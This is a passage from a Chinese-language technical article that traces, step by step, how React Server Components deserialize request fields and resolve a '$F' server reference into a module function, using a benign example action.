↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 遍历对象属性</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> k </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> {</span><span style="line-height: 26px;"><span leaf="">action</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">}) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;action&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// value[k] = &#34;$F1&#34;</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> newValue = reviveModel(</span><span leaf=""><br/></span><span leaf="">      response,</span><span leaf=""><br/></span><span leaf="">      rawModel,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">,           </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ← 字符串值</span></span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:action&#34;</span></span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤 4: reviveModel 处理字符串 &#34;$**</span><strong style="font-weight: bold;color: black;"><span leaf="">F1*</span></strong><span leaf="">*&#34;</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">reviveModel(response, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:action&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf=""> === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;string&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> parseModelString(</span><span leaf=""><br/></span><span leaf="">    response,</span><span leaf=""><br/></span><span leaf="">    rawModel,      </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// parentObject</span></span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">,      </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// key</span></span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">,         </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// value</span></span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:action&#34;</span></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// reference</span></span><span leaf=""><br/></span><span leaf="">  );</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤 5: parseModelString 识别 Server Reference</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">parseModelString(response, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F1&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:action&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  value[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">] === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;$&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""><br/></span><span leaf="">  value[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">] === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;F&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// Server Reference 标记</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;F&#39;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> ref = value.slice(</span><span style="line-height: 26px;"><span leaf="">2</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#34;$F1&#34; → &#34;1&#34;</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> getOutlinedModel(</span><span leaf=""><br/></span><span leaf="">      response,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">,              </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ← 引用 chunk[1]</span></span><span leaf=""><br/></span><span leaf="">      rawModel,         </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// parentObject = {action: &#34;$F1&#34;}</span></span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">,         </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// key</span></span><span leaf=""><br/></span><span leaf="">      loadServerReference  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// map 函数</span></span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤 6: getOutlinedModel 获取引用</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">getOutlinedModel(response, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">, loadServerReference)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  解析引用路径</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> path = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">.split(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// path = [&#34;1&#34;]  ← 只有一个元素！</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> id = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">parseInt</span></span><span leaf="">(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">16</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// id = 1</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunk = getChunk(response, </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 获取 chunk[1]</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤 7: 并行处理 name=&#34;1&#34;（或等待）</span></strong></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 getChunk 尝试获取 chunk[1] 时，如果状态是 chunk[1] 还未处理，那么处理逻辑如下：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">getChunk(response, </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  chunk = response._chunks.get(</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!chunk) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  创建 PENDING 状态的 chunk</span></span><span leaf=""><br/></span><span leaf="">    chunk = createPendingChunk(response);</span><span leaf=""><br/></span><span leaf="">    response._chunks.set(</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">, chunk);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> chunk;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 返回 PENDING 状态的 chunk</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">然后 getOutlinedModel 会等待：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (chunk.status) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> PENDING:</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> BLOCKED:</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  等待 chunk[1] 初始化</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> waitForReference(chunk, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">, response, loadServerReference, path);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果 chunk[1] 已经处理完成，那么继续</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤 8: 处理 name=&#34;1&#34;</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">resolveField(response, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, &#39;{</span><span style="line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-v9kx8i" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">&#34;bound&#34;</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">}&#39;)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  id = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">  chunk = response._chunks.get(</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 获取或创建</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  resolveModelChunk(response, chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">], &#39;{</span><span style="line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: ...}&#39;, </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  initializeModelChunk(chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  JSON.parse(&#39;{</span><span style="line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-aisfbd" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">&#34;bound&#34;</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">}&#39;)</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// rawModel = {</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   id: &#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-bcqj0k" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;,</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   bound: null</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// }</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  reviveModel(response, {&#39;&#39;: rawModel}, &#39;&#39;, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 遍历属性</span></span><span leaf=""><br/></span><span leaf="">  for (const k in rawModel) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;id&#34;: 值是字符串，不需要特殊处理</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;bound&#34;: 值是 null，不需要特殊处理</span></span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 初始化完成</span></span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">].status = INITIALIZED</span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">].value = {</span><span leaf=""><br/></span><span leaf="">    id: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-w514gq" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    bound: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤 9: getOutlinedModel 继续执行</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">getOutlinedModel(response, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">, loadServerReference)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  chunk = chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">  chunk.status = INITIALIZED  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  已初始化</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> INITIALIZED:</span><span leaf=""><br/></span><span leaf="">    let value = chunk.value;</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// value = {</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   id: &#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-rf5zgm" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;,</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   bound: null</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// }</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  遍历路径</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (let i = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">; i &lt; path.length; i++) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// path = [&#34;1&#34;]</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// path.length = 1</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// i 从 1 开始</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 1 &lt; 1 → false</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  不会进入循环！</span></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 直接调用 map 函数</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> loadServerReference(</span><span leaf=""><br/></span><span leaf="">      response,</span><span leaf=""><br/></span><span leaf="">      value,      </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// {id: &#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-1s4k9q" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;, bound: null}</span></span><span leaf=""><br/></span><span leaf="">      rawModel,   </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// {action: &#34;$F1&#34;}</span></span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// key</span></span><span leaf=""><br/></span><span leaf="">    );</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤 10: loadServerReference 加载模块</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">loadServerReference(</span><span leaf=""><br/></span><span leaf="">  response,</span><span leaf=""><br/></span><span leaf="">  {id: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-2m23gb" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;</span></span><span leaf="">, bound: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">},  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// metaData</span></span><span leaf=""><br/></span><span leaf="">  rawModel,  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// parentObject</span></span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// key</span></span><span leaf=""><br/></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> id = metaData.id;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#34;app/testAction.js<a class="wx_topic_link" topic-id="miwhs751-f2en55" style="color: #576B95 !important;" data-topic="1">#test</a>&#34;</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> id !== </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;string&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">any</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  解析服务器引用</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> serverReference = resolveServerReference(response._bundlerConfig, id);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 返回类似：</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// {</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   id: &#34;app/testAction.js&#34;,</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   name: &#34;test&#34;,</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   chunks: [&#34;chunk-abc123&#34;]</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// }</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 🔍预加载模块</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> promise = preloadModule(serverReference);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!promise) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 同步可用</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> resolvedValue = requireModule(serverReference);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 等价于：</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// const module = require(&#34;app/testAction.js&#34;);</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// return module[&#34;test&#34;];</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> resolvedValue;</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤 11: 最终结果</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// loadServerReference 返回后</span></span><span leaf=""><br/></span><span leaf="">rawModel[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">] = 返回的函数引用</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 最终 chunk[0].value 变为：</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">action</span></span><span leaf="">: [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Function</span></span><span leaf="">: test]  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 指向 app/testAction.js 的 test 函数</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">至此，完成了一次动态加载的引用。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">可以得到以下链路：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">用户请求</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">] decodeReplyFromBusboy() - 解析 multipart 数据</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">[</span><span style="line-height: 26px;"><span leaf="">2</span></span><span leaf="">] resolveField() - 处理字段</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">[</span><span style="line-height: 26px;"><span leaf="">3</span></span><span leaf="">] resolveModelChunk() - 标记为 RESOLVED_MODEL</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">[</span><span style="line-height: 26px;"><span leaf="">4</span></span><span leaf="">] initializeModelChunk() - </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">JSON</span></span><span leaf="">.parse() 解析数据</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">[</span><span style="line-height: 26px;"><span leaf="">5</span></span><span leaf="">] reviveModel() - 递归恢复对象结构</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">[</span><span style="line-height: 26px;"><span leaf="">6</span></span><span leaf="">] parseModelString() - 识别标记</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">[</span><span style="line-height: 26px;"><span leaf="">7</span></span><span leaf="">] getOutlinedModel() - 获取引用数据</span><span leaf=""><br/></span><span leaf="">    ↓</span><span leaf=""><br/></span><span leaf="">[</span><span style="line-height: 26px;"><span leaf="">8</span></span><span leaf="">] loadServerReference() - 